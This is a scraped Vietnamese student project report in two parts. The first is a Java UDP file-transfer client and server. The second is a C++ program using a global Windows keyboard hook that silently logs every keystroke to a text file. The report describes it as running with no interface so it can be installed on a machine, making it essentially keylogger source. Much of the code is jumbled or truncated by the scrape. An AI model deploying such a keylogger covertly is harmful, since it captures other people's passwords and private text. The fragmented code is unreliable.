1. Trang chủ
  2. » Công Nghệ Thông Tin

đồ án cơ sở Ngành Mạng

30 337 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Cấu trúc

  • 1.1 GIỚI THIỆU

  • 1.2 CƠ SỞ LÍ THUYẾT

    • 1.2.1 Lí thuyết mạng máy tính

    • 1.2.2 Mô hình Client-Server

    • 1.2.3 Ngôn ngữ Java và lập trình socket

  • 1.3 PHÂN TÍCH VÀ THIẾT KẾ GIẢI THUẬT

    • 1.3.1 Sơ đồ hoạt động của hệ thống

  • 1.4 MÃ NGUỒN CHƯƠNG TRÌNH

    • 1.4.1 Client Java

    • 1.4.2 Client.java

    • 1.4.3 Server Java

    • 1.4.4 Server.java

    • 1.4.5 FileEvent.java

  • 1.5 KẾT LUẬN

    • 1.5.1 Kết quả chạy thực tế

    • 1.5.2 Kết luận

  • 1.6 TÀI LIỆU THAM KHẢO

  • PHẦN 2: ĐỒ ÁN HỆ ĐIỀU HÀNH

    • 2.1 GIỚI THIỆU

    • 2.2 CƠ SỞ LÍ THUYẾT

    • 2.2.1 Tổng quan Hook trong Windows

      • 1.6.1 Sơ đồ hoạt động của hệ thống

      • 1.6.2 Giải thuật xây dựng các bước

    • 1.7 MÃ NGUỒN CHƯƠNG TRÌNH

    • 1.8 KẾT LUẬN

      • 1.8.1 Kết quả chạy thực tế

      • 1.8.2 Kết luận

    • 1.9 TÀI LIỆU THAM KHẢO

Nội dung

ĐA CS Ngành Mạng MỞ ĐẦU Lập trình mạng hệ điều hành kiến thức tối quan trọng hành trang sinh viên chuyên ngành công nghệ thông tin thể nói hai khía cạnh đặc biệt bên mức cao bên mức thấp Sự kết hợp hai phần tạo trải nghiệm lập trình đặc biệt cho sinh viên, để hình dung nhìn tổng quát hệ thống điển hình Báo cáo trình bày cho em học dụng vào đồ án kì này, với hướng dẫn GVHD em cắt giản, trình bày gọn gang, súc tích qua đoạn mã hình ảnh chạy chương trình tập trung vào em hiểu ghi vào báo cáo Tuy em làm cẩn thận sai sót không không muốn, em mong góp ý quý thầy khoa để em rút kinh nghiệm Mọi hình ảnh, mã nguồn báo cáo thân em tự làm, không chép toàn từ nguồn Em xin chân thành cảm ơn Đà Nẵng, tháng 05 năm 2017 Sinh viên Nguyễn Đình Phát SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 ĐA CS Ngành Mạng MỤC LỤC PHẦN 1: ĐỒ ÁN MẠNG 1.1 GIỚI THIỆU Đề Tài Mạng: Truyền Tải Tập Tin Qua Mạng Sử Dụng Socket Viết chương trình theo mô hình Client-Server (sử dụng TCP UDP), Client cung cấp giao diện cho người dùng tương tác với chương trình, Client cung cấp địa File gởi Server thực lưu file nhận vào địa Server 1.2 SỞ LÍ THUYẾT 1.2.1 Lí thuyết mạng máy tính Mạng máy tính tập hợp máy tính độc lập, kết nối với thông qua đường truyền vật lý tuân thủ nguyên tắc truyền thông Mạng phải giao thức - tập hợp quy tắc chuẩn dành cho việc biểu diễn liệu, phát tín hiệu, chứng thực phát lỗi liệu, nhờ mà máy tính kết nối trao đổi thông tin với cách tin cậy, chí đường truyền không hoàn hảo Một số giao thức như: TCP/IP, UDP, HTTP, FTP, SMTP, POP3,… nhiều tiêu chí để phân loại mạng máy tính, dựa vào loại máy kết nối, dựa vào đặc điểm đường truyền dựa vào nguyên tắc truyền thông như: WAN, LAN, GAN, Intranet, Internet Theo nhiều mô hình mạng khác mạng tuyến tính (bus), mạng hình (star), mạng hình vòng (ring) Mạng máy tính khai thác dựa vào mô hình ứng dụng chính: mô hình mạng ngang hàng (P2P) mô hình khách-chủ (Client-Server) Phạm vi đề tài thực mô hình ClientServer 1.2.2 Mô hình Client-Server Mô hình client-server mô hình tiếng mạng máy tính, áp dụng rộng rãi mô hình trang web Ý tưởng mô hình máy khách gửi yêu cầu (request) để máy chủ, máy chủ xử lý trả kết cho máy khách (response) Trong Server phục vụ nhiều Client SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 ĐA CS Ngành Mạng 1.2.3 Ngôn ngữ Java lập trình socket Java ngôn ngữ lập trình hướng đối tượng, mắt năm 1991 Sun Microsystems với cú pháp lấy cảm hứng từ ngôn ngữ C++ trước Chương trình Java tính tương thích cao với nhiều hệ thống mã nguồn biên dịch thành mã trung gian byte-code chạy hệ thống hỗ trợ môi trường thực thi (runtime environment) cho Ban đầu Java tính ỳ ạch cập nhật sau cải thiện tốc độ ngang tầm với Python, PHP gần Java lên tượng giới lập trình Java hỗ trợ lập trình mạng, gói java.net J2SE API chứa tập hợp classes interfaces chi tiết giao tiếp tầm thấp, cho phép viết chương trình giải vấn đề cách nhanh chóng Nó hỗ trợ hai giao thức mạng phổ biến TCP/IP UDP giao tiếp thông qua Socket SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 ĐA CS Ngành Mạng Các Socket cung cấp kĩ thuật giao tiếp hai máy tính sử dụng TCP Một chương trình Client tạo socket đầu-cuối giao tiếp cố gắng để kết nối socket tới Server Khi kết nối tạo, Server tạo đối tượng Socket đầu cuối giao tiếp Client Server giao tiếp việc đọc ghi từ Socket Lớp java.net.Socket biểu diễn Socket cho phía client, lớp java.net.ServerSocket dành cho chương trình Server để nghe thông tin từ Client thành lập kết nối với chúng Các bước sau xảy thành lập kết nối TCP hai máy tính sử dụng Socket: Server khai báo đối tượng ServerSocket, biểu thị số hiệu cổng (port) để xuất giao tiếp Server gọi phương thức accept() lớp ServerSocket Phương thức đợi tới Client kết nối với Server cổng cho Trong Server đợi, Client khởi tạo đối tượng Socket, xác định tên Server số hiệu cổng để kết nối tới Nếu giao tiếp thành lập, Client đối tượng Socket khả giao tiếp với Server Trên phía Server, SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 ĐA CS Ngành Mạng phương thức accept() trả tham chiếu tới socket Server mà kết nối với Socket Client Sau kết nối thành lập, giao tiếp xảy sử dụng I/O stream Mỗi Socket OutputStream InputStream OutputStream Client kết nối với InputStream Server, InputStream Client kết nối với OutputStream Server 1.3 PHÂN TÍCH VÀ THIẾT KẾ GIẢI THUẬT 1.3.1 Sơ đồ hoạt động hệ thống Client SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 Server ĐA CS Ngành Mạng 1.4 MÃ NGUỒN CHƯƠNG TRÌNH 1.4.1 Client Java 4.1.1 GUI_Client package DoAn; import javax.swing.JOptionPane; public class GUI_client extends javax.swing.JFrame { public GUI_client() { initComponents(); } BEGIN:initComponents private void initComponents() { jLabel1 = new javax.swing.JLabel(); text = new javax.swing.JTextField(); jLabel2 = new javax.swing.JLabel(); button_truyen = new javax.swing.JButton(); button_reset = new javax.swing.JButton(); jButton1 = new javax.swing.JButton(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); jLabel1.setFont(new java.awt.Font("Tahoma", 0, 24)); // NOI18N jLabel1.setText("CLIENT"); text.setText("D:\\\\FileClient\\\\zshop.png"); jLabel2.setText("đường dẫn"); button_truyen.setText("Truyền"); button_truyen.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { button_truyenActionPerformed(evt); } }); button_reset.setText("Reset"); button_reset.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { button_resetActionPerformed(evt); } }); jButton1.setText("Exit"); jButton1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jButton1ActionPerformed(evt); } }); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 ĐA CS Ngành Mạng layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) addGroup(layout.createSequentialGroup() addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADI NG) addGroup(layout.createSequentialGroup() addGap(155, 155, 155) addComponent(jLabel1) addGap(0, 0, Short.MAX_VALUE)) addGroup(layout.createSequentialGroup() addGap(35, 35, 35) addComponent(jLabel2) addGap(18, 18, 18) addComponent(text, javax.swing.GroupLayout.DEFAULT_SIZE, 285, Short.MAX_VALUE)) addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) addComponent(button_truyen) addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) addComponent(button_reset) addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) addComponent(jButton1) addGap(12, 12, 12))) addContainerGap()) ); layout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {button_reset, button_truyen, jButton1}); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) addGroup(layout.createSequentialGroup() addGap(29, 29, 29) addComponent(jLabel1) addGap(72, 72, 72) addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASEL INE) addComponent(text, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) addComponent(jLabel2)) addGap(64, 64, 64) addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASEL INE) addComponent(button_truyen) addComponent(button_reset) addComponent(jButton1)) addContainerGap(63, Short.MAX_VALUE)) ); layout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {button_reset, button_truyen, jButton1}); pack(); } private void button_truyenActionPerformed(java.awt.event.ActionEvent evt) { Client client = new Client(); SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 ĐA CS Ngành Mạng String text=this.text.getText(); client.setSourceFilePath(text); client.setDestinationDirectory(text.substring(0,text.lastIndexOf("\\")-1)); client.createConnection(); JOptionPane.showMessageDialog(null, "da gui xong","Title", JOptionPane.WARNING_MESSAGE); } private void button_resetActionPerformed(java.awt.event.ActionEvent evt) { text.setText(""); } private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) { System.exit(0); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new GUI_client().setVisible(true); } }); } private private private private private private javax.swing.JButton button_reset; javax.swing.JButton button_truyen; javax.swing.JButton jButton1; javax.swing.JLabel jLabel1; javax.swing.JLabel jLabel2; javax.swing.JTextField text; } 1.4.2 Client.java Kết nối đến Server, cho phép người dùng nhập đường dẫn file cần truyền tới Server package DoAn; import import import import import java.awt.Button; java.awt.Frame; java.awt.TextField; java.io.*; java.net.*; public class Client { private DatagramSocket socket = null; static int part_number = 0; static int MAX_BUFFER_SIZE = 63488;//; // 62*1024 static boolean finish = false; static long offset = 0; public void setSocket(DatagramSocket socket) { this.socket = socket; } public void setSourceFilePath(String sourceFilePath) { this.sourceFilePath = sourceFilePath; } public void setDestinationDirectory(String destinationPath) { this.destinationPath = destinationPath; } private FileEvent event = null; private String sourceFilePath = "D:\\\\FileClient\\\\zshop.png"; private String destinationPath = "D:\\\\FileClient\\\\zshop.png"; private String hostName = "localhost"; SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 ĐA CS Ngành Mạng public Client() { } public void createConnection() { try { socket = new DatagramSocket(); InetAddress IPAddress = InetAddress.getByName(hostName); byte[] incomingData = new byte[1024]; finish = false; part_number = 0; offset = 0; while(!finish) { System.out.println("[Bat dau] Gui file tu client: Part " + part_number); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ObjectOutputStream os = new ObjectOutputStream(outputStream); event = getFileEvent(); os.writeObject(event); byte[] data = outputStream.toByteArray(); System.out.println("[Bat dau] Gui file tu client: outputStream.size(); " + outputStream.size()); System.out.println("[Bat dau] Gui file tu client: data.length " + data.length); DatagramPacket sendPacket = new DatagramPacket(data, data.length, IPAddress, 9876); socket.send(sendPacket); Thread.sleep(1000); } System.out.println("[XONG] Gui file tu client"); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ObjectOutputStream os = new ObjectOutputStream(outputStream); event = end(); os.writeObject(event); byte[] data = outputStream.toByteArray(); DatagramPacket sendPacket = new DatagramPacket(data, data.length, IPAddress, 9876); socket.send(sendPacket); Thread.sleep(1000); DatagramPacket incomingPacket = new DatagramPacket(incomingData, incomingData.length); socket.receive(incomingPacket); String response = new String(incomingPacket.getData()); System.out.println("phan hoi tu server:" + response); Thread.sleep(4000); System.exit(0); } catch (UnknownHostException e) { e.printStackTrace(); } catch (SocketException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 ĐA CS Ngành Mạng } public FileEvent end(){ String fileName = sourceFilePath.substring(sourceFilePath.lastIndexOf("\\") + 1, sourceFilePath.length()); FileEvent fileEvent = new FileEvent(); fileEvent.setStatus("end"); fileEvent.setDestinationDirectory(destinationPath); fileEvent.setSourceDirectory(sourceFilePath); fileEvent.clearFileData(); fileEvent.setFilename(fileName + "_part"); fileEvent.setFileSize(part_number);//luu tong so file truyen di return fileEvent; } public FileEvent getFileEvent() { FileEvent fileEvent = new FileEvent(); //String fileName = sourceFilePath.substring(sourceFilePath.lastIndexOf("/") + 1, sourceFilePath.length()); String fileName = sourceFilePath.substring(sourceFilePath.lastIndexOf("\\") + 1, sourceFilePath.length()); File file = new File(sourceFilePath); byte[] fileBytes = new byte[MAX_BUFFER_SIZE]; int len; int filelength = (int) file.length();; if (file.isFile()) { try { FileInputStream fiSteam = new FileInputStream(file); fiSteam.skip(offset); // skip offset of read byte DataInputStream diStream = new DataInputStream(fiSteam); /*check size of the file*/ if(filelength < MAX_BUFFER_SIZE ) //file is small { diStream.read(fileBytes); finish = true; len = filelength; fileEvent.setFilename(fileName); } else // file is larger than maximun transport datagram, need to split { if(filelength > offset + MAX_BUFFER_SIZE) { len = diStream.read(fileBytes,0, MAX_BUFFER_SIZE); //store at begin of filebyte (offset = 0) } else // read the last part { len = diStream.read(fileBytes, 0, filelength (int)offset); //store at begin of filebyte (offset = 0) } offset += len; System.out.println("[READ] read total " + offset); part_number ++; if(offset >= filelength) // read the last part { SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 10 ĐA CS Ngành Mạng boolean success = (new File (name)).delete(); if (success) { System.out.println("The file has been successfully deleted"); } } } public void createAndWriteFile() { FileWriter fw = null; String outputFile = fileEvent.getDestinationDirectory() + "\\"+ fileEvent.getFilename(); } } if (!new File(fileEvent.getDestinationDirectory()).exists()) { new File(fileEvent.getDestinationDirectory()).mkdirs(); } System.out.println(fileEvent.getFilename() + " length " + fileEvent.getFilename().length()); try { File dstFile = new File(outputFile); FileOutputStream fileOutputStream = null; fileOutputStream = new FileOutputStream(dstFile); fileOutputStream.write(fileEvent.getFileData(),0,(int)fileEvent.getFileSize()); fileOutputStream.flush(); fileOutputStream.close(); System.out.println("Output file : " + outputFile + " is successfully saved "); } catch (FileNotFoundException e) { System.out.println("ERROR CODE 05:" + e.getMessage()); e.printStackTrace(); } catch (IOException e) { System.out.println("ERROR CODE 06:" + e.getMessage()); e.printStackTrace(); } public static void main(String[] args) { Server server = new Server(); server.createAndListenSocket(); } 1.4.5 FileEvent.java package DoAn; import java.io.Serializable; public class FileEvent implements Serializable { public FileEvent() { } private static final long serialVersionUID = 1L; private private private private private private String destinationDirectory; String sourceDirectory; String filename; long fileSize; byte[] fileData; String status; public String getDestinationDirectory() { return destinationDirectory; SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 16 ĐA CS Ngành Mạng } } public void setDestinationDirectory(String destinationDirectory) { this.destinationDirectory = destinationDirectory; } public String getSourceDirectory() { return sourceDirectory; } public void setSourceDirectory(String sourceDirectory) { this.sourceDirectory = sourceDirectory; } public String getFilename() { return filename; } public void setFilename(String filename) { this.filename = filename; } public long getFileSize() { return fileSize; } public void setFileSize(long fileSize) { this.fileSize = fileSize; } public String getStatus() { return status; } public void setStatus(String status) { this.status = status; } public byte[] getFileData() { return fileData; } public void clearFileData() { fileData = null; } public void setFileData(byte[] fileData) { this.fileData = fileData; } SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 17 ĐA CS Ngành Mạng 1.5 KẾT LUẬN 1.5.1 Kết chạy thực tế Hình 1: Gui_Server Hình 2: Gui_Client SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 18 ĐA CS Ngành Mạng Hình 3: Thông báo kết nối Thành Công SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 19 ĐA CS Ngành Mạng SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 20 ĐA CS Ngành Mạng Hình 4: Các thông báo truyền file Hình 5: Kết truyền file 3gp file png 1.5.2 Kết luận Chương trình thực yêu cầu đề tài truyền file qua mạng qua socket sử dụng giao thức UDP Hệ thống hoạt động ổn định, Chương trình chạy ổn định Giao diện đơn giản, đặc trưng dễ sử dụng SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 21 ĐA CS Ngành Mạng 1.6 TÀI LIỆU THAM KHẢO [1] https://vi.wikipedia.org/wiki/Mạng_máy_tính [2] https://vi.wikipedia.org/wiki/Client-server [3] https://daynhauhoc.com/t/lap-trinh-socket-chuong-trinh-truyen-file-don [4] Tài Liệu Lập Trình Mạng khoa CNTT PHẦN 2: ĐỒ ÁN HỆ ĐIỀU HÀNH 2.1 GIỚI THIỆU Đề Tài: Xây dựng chương trình nhận bắt bàn phím, sử dụng kĩ thuật Hook Windows Xây dựng chương trình nhận bắt bàn phím sử dụng kĩ thuật Hook Windows Vận dụng kiến kiến kĩ thuật hook WH_KEYBOARD_LL để xây dựng chương trình ngôn ngữ C++ Chương trình chạy không giao diện nhằm ghi lại bàn phím để cài vào máy SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 22 ĐA CS Ngành Mạng 2.2 SỞ LÍ THUYẾT 2.2.1 Tổng quan Hook Windows Hook chế mà ứng dụng chặn kiện, thông điệp, thao tác chuột, bàn phím Hàm dùng để chặn loại kiện riêng biệt gọi hook procedure/ Hook function Mỗi nhận kiện, hook proceduce thay đổi chí hủy bỏ kiện nhiều loại hook (như chuột, bàn phím) hệ điều hành trì danh sách hook procedure cho loại Mỗi danh sách Hook procedure gọi hook chain Bản chất hook chain dãy trỏ hàm trỏ đến Hook procedure nhiều loại hook (như chuột, bàn phím) hệ điều hành trì danh sách hook procedure cho loại Mỗi danh sách Hook procedure gọi hook chain Bản chất hook chain dãy trỏ hàm trỏ đến Hook procedure 2.2.2 Chức Hook - Bắt giả lập thông điệp bàn phím, chuột - Cung cấp chức Help (F1) cho ứng dụng C++, ngôn ngữ lập trình hướng đối tượng tiếng nâng cấp từ ngôn ngữ C trước C++ mạnh mẽ linh động, thích hợp để viết chương trình yêu cầu tốc độ xử lí cao giao tiếp phần cứng Như việc tương tác với hệ điều hành, mà phạm vi đề tài truy cập tệp tin đĩa C++ thích hợp DLL (Dynamic Link Library) thư viện liên kết động File DLL chứa lệnh mà chương trình khác gọi đến để làm tác vụ SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 23 ĐA CS Ngành Mạng Về bản, DLL giống EXE, nhiên file đặt tên khác trình liên kết Sử dụng DLL tiết kiệm nhớ chương trình trở nên lớn phức tạp, tăng tính sử dụng lại đặc biệt tạo khả tương tác ngôn ngữ lập trình khác 2.2.3 Lý thuyết WH_KEYBOARD_LL Chương trình cần dùng hàm SetwindowHookEx UnHookWindowHookEx Hook cục (Thread hook) phân loại theo phạm vi hàm giám sát cài đặt sau thông điệp ứng dụng kiểm soát tiến trình ứng dụng cụ thể xác định lúc cài đặt Hook toàn cục Hàm giám sát cài đặt sau hàng đợi thông điệp hệ thống, kiểm soát toàn tiến trình hệ thống Phân loại theo thông điệp ( loai Hook công dụng) ta tập trung vào loại hook ( WH_kEYBOARD_LL WH_KEYBOARD) WH_KEYBOARD_LL: Cho phép giám sát kiện bàn phím tới hàng đợt ứng dụng WH_KEYBOARD: Giám sát thông điệp từ bàn phím WM_KEYDOWN, WH_KEYUP Thủ tục gọi hệ điều hành gọi CallBack PHÂN TÍCH VÀ THIẾT KẾ GIẢI THUẬT SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 24 ĐA CS Ngành Mạng 1.6.1 Sơ đồ hoạt động hệ thống Sơ đồ hoạt động tổng quát hệ thống 1.6.2 Giải thuật xây dựng bước Bước 1: tạo file DLL chứa hàm lọc Mọi hàm lọc dạng sau: LRESULT CALLBACK (int nCode, WPARAM wParam, LPARAM lParam)Bên hàm lọc tùy ý làm đủ chuyện trời đất Tuy nhiên, phải tuân thủ theo số nguyên tắt sau: - Nếu nCode < không làm mà phải gọi hàm CallNextHookE) (sẽ trình bày sau) trả giá trị return - Nếu xử lý nhiều hàm lọc phải trả giá trị khác Bước 2: tạo chương trình cài đặt Hook Chương trình sử dụng hàm API sau để “móc” hàm lọc vào kiện: a) Hàm cài đặt hàm lọc HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId)Các tham số ý nghĩa sau: + idHook: xác định loại hook mà ta muốn cài đặt (ví dụ: WH_KEYBOARD, WH_MSGFILTER…) + lpfn : địa hàm lọc mà ta muốn gắn với hook + hMod : handle module chứa hàm lọc (là handle file DLL trường hợp Hook toàn cục) + dwThreadID : định danh thread ứng với hook cài đặt (nếu = Hook phạm vi toàn hệ thống bao hảm thread tồn tại) b) Hàm gỡ bỏ hàm lọc BOOL UnhookWindowsHookEx(HHOOK hHook)Tham số: + hHook: handle hook cần gỡ bỏ (chính giá trị trả vể hàm SetWindowsHookEx cài đặt) SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 25 ĐA CS Ngành Mạng c) Hàm gọi hàm lọc chuỗi Như nói trên, hệ thống trì chuỗi hàm lọc cho loại kiện Do đó, sau hàm lọc thực xong “nghĩ vụ” mình, gọi hàm lọc chuỗi Nhờ đó, người ta cài nhiều Hook kiện LRESULT CallNextHookEx(HHOOK hHook, int nCode, WPARAM wParam, LPARAM lParam)Ý nghĩa tham số: + hHook: handle hook hành + nCode : hook code để gởi đến hook + wParam lParam: chứa thông tin mở rộng thông điệp srand(time(NULL)); return rand() % bound; } 1.7 MÃ NGUỒN CHƯƠNG TRÌNH /** CHUONG TRINH HOOKS KEYBOARD * AIDE: DEV c++ * INPUT: cac phim bi chan chuyen den application thuc thi * OUTPUT: du lieu cac phim save vao file logHooksKeyboard.txt */ #include #include #include #include // Tao mot phim HHOOK HHOOK KeyboardHook; // Ghi phim hook duoc vao file void write(const char* c){ const char* fileLocation = "logHooksKeyboard.txt"; // location cua file log de luu log FILE *f = fopen(fileLocation,"a+"); // Mo file log.txt if(f!=NULL){ fputs(c,f); // Ghi vao file fclose(f); // Dong file } } // ton tai,lap goi thong diep WINAPI void KeepAlive(){ MSG message; while (GetMessage(&message,NULL,0,0)) { TranslateMessage(&message); DispatchMessage(&message); } } // Dung hook va thoat chuong trinh void Exit() { UnhookWindowsHookEx(KeyboardHook); exit(0); } // lay trang thai phim SHIFT (co nhan ko) bool shift = false; SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 26 ĐA CS Ngành Mạng // goi lai hook LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { bool bControlKeyDown=0; // lay trang thai phim SHIFT (co nhan ko) // cac phim tra ve cua chuong trinh la cac phim ao Virtual key bool caps = GetKeyState(VK_CAPITAL) < 0; KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *) lParam; if(nCode == HC_ACTION){ // Determine the current state of shift key if(p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT){ if(wParam == WM_KEYDOWN) shift = true; else shift = false; } // cho ta quy dinh CTRL + F12 la thoat hook, dong chuong trinh bControlKeyDown = GetAsyncKeyState (VK_CONTROL) >> ((sizeof(SHORT) * 8) - 1); if (p->vkCode == VK_F12 && bControlKeyDown) Exit(); // Start logging keys if(wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN) // neu phim da duoc press { HWND newWindow = GetForegroundWindow(); // lay ma phim ao so sanh voi gia tri phim cua vkCode switch(p->vkCode) { //ky tu tren so case 0x30: write(shift?")":"0");break; case 0x31: write(shift?"!":"1");break; case 0x32: write(shift?"@":"2");break; case 0x33: write(shift?"#":"3");break; case 0x34: write(shift?"$":"4");break; case 0x35: write(shift?"%":"5");break; case 0x36: write(shift?"^":"6");break; case 0x37: write(shift?"&":"7");break; case 0x38: write(shift?"*":"8");break; case 0x39: write(shift?"(":"9");break; // so case 0x60: write("0");break; case 0x61: write("1");break; case 0x62: write("2");break; case 0x63: write("3");break; case 0x64: write("4");break; case 0x65: write("5");break; case 0x66: write("6");break; case 0x67: write("7");break; case 0x68: write("8");break; case 0x69: write("9");break; // ky tu case 0x41: write(caps?(shift?"a":"A"):(shift?"A":"a"));break; case 0x42: write(caps?(shift?"b":"B"):(shift?"B":"b"));break; case 0x43: write(caps?(shift?"c":"C"):(shift?"C":"c"));break; case 0x44: write(caps?(shift?"d":"D"):(shift?"D":"d"));break; case 0x45: write(caps?(shift?"e":"E"):(shift?"E":"e"));break; case 0x46: write(caps?(shift?"f":"F"):(shift?"F":"f"));break; case 0x47: write(caps?(shift?"g":"G"):(shift?"G":"g"));break; case 0x48: write(caps?(shift?"h":"H"):(shift?"H":"h"));break; case 0x49: write(caps?(shift?"i":"I"):(shift?"I":"i"));break; case 0x4A: write(caps?(shift?"j":"J"):(shift?"J":"j"));break; case 0x4B: SVTH: NGUYỄN ĐÌNH PHÁT – LỚP 13T3 NHÓM 10 27 ĐA CS Ngành Mạng } write(caps?(shift?"v":"V"):(shift?"V":"v"));break; case 0x57: write(caps?(shift?"w":"W"):(shift?"W":"w"));break; case 0x58: write(caps?(shift?"x":"X"):(shift?"X":"x"));break; case 0x59: write(caps?(shift?"y":"Y"):(shift?"Y":"y"));break; case 0x5A: write(caps?(shift?"z":"Z"):(shift?"Z":"z"));break; // phim dac biet case VK_SPACE: write(" "); break; case VK_RETURN: write("\n"); break; case VK_TAB: write("\t"); break; case VK_F9: write("[F9]");break; case VK_F10: write("[F10]");break; case VK_F11: write("[F11]");break; case VK_F12: write("[F12]");break; // phim SHIFT trai phai case VK_LSHIFT: break; case VK_RSHIFT: break; // ky tu dac biet case VK_OEM_1: write(shift?":":";");break; case VK_OEM_2: write(shift?"?":"/");break; case VK_OEM_3: write(shift?"~":"`");break; case VK_OEM_4: write(shift?"{":"[");break; case VK_OEM_5: write(shift?"|":"\\");break; case VK_OEM_6: write(shift?"}":"]");break; case VK_OEM_7: write(shift?"\"":"'");break; case VK_OEM_PLUS: write(shift?"+":"=");break; case VK_OEM_COMMA: write(shift?"":".");break; default: DWORD dwMsg = p->scanCode flags

Ngày đăng: 25/08/2017, 22:08

TỪ KHÓA LIÊN QUAN

w